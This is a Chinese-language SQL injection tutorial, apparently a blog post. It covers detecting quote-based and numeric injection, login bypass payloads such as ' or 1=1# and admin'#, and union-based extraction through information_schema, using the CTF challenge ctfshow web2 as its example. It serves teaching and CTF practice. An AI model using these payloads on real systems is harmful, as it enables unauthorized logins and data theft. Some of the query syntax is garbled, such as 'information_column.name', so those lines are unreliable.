Sql注入比较常见的漏洞之一,例用程序员的漏洞来进行无账号的登陆,篡改数据库。任何客户端可控,传参数到服务端的变量,和数据库交互,都有可能存在sql注入
原理
用户通过构造sql语句来模仿服务器发向服务器的语句,造成错误执行。从而达到自己的目的。
sql注入的步骤
1.发现注入位置。
2.判断注入类型传参方式的:get类型,post类型,cookie类型。
以及根据注入点不同的:数字型注入,单引号注入,双引号注入。
首先是单引号双引号注入(单引号为例):
SELECT * FROM `article` where id = ‘[id]’
SELECT * FROM `article` where id = “[id]”
http://www.xx.com/a.php?id=1’and 1=’1
http://www.xx.com/a.php?id=1’and 1=’2
若第一个payload为查询1,第二个返回值为错误,则存在单双引号注入。
数字型为
SELECT * FROM `article` where id =[id]
http://www.xx.com/a.php?id=1 and 1=1
http://www.xx.com/a.php?id=1 and 1=2
比如:
已知某网站的sql查询语句如下,并且没有做任何的屏蔽措施。
select * from users where username='用户名' and password=md5('密码')
此处我们容易想到闭合前端的引号构成注入,当我们输入用户名为’or 1=1#,
select * from users where username='’or 1=1#' and password=md5('')
由于在sql注入中#等同于注释,该语句语句可以等价于
select * from users where username='’or 1=1#' and password=md5('')
该语句由于1=1恒成立,故会返回users中所有的用户。
倘若我们已知用户名而不清楚密码的情况下(假设用户名为admin):
select * from users where username='用户名' and password=md5('密码')
输入:admin’#
select * from users where username='admin’#' and password=md5('密码')
等同于
select * from users where username='admin’#' and password=md5('密码')
故会在不用密码的情况成功的登陆admin用户。
- 获取数据(重要)
Mysql中又三种默认库
information_schema : 保存着关于MySQL服务器所维护的所有其他数据库的信息。(主要)
mysql : 存储数据库的⽤户、权限、设置关键字。
performance_schema : 收集数据库服务器性能 参数。
注: MySQL < 5.0 没有信息数据库
Information_schema又包括
SCHEMATA // 数据库信息表(库名)
TABLES // 数据表信息表(表名)
COLUMNS // 数据列信息表(列名)
以ctfshow web2为例
查看回显位置
admin’ or 1=1 union select 1,2,3#
查看当前的库名
admin’ or 1=1 union select 1,database(),3#
查看表名
admin’ or 1=1 union select 1,table_name,3 from information_schema.tables where table_name=’web2’#
查看字段名
admin’ or 1=1 union select 1,column_name,3 from information_column.name where table_name=‘flag’#
根据字段查内容
admin’ or 1=1 union select 1,flag,3 from flag#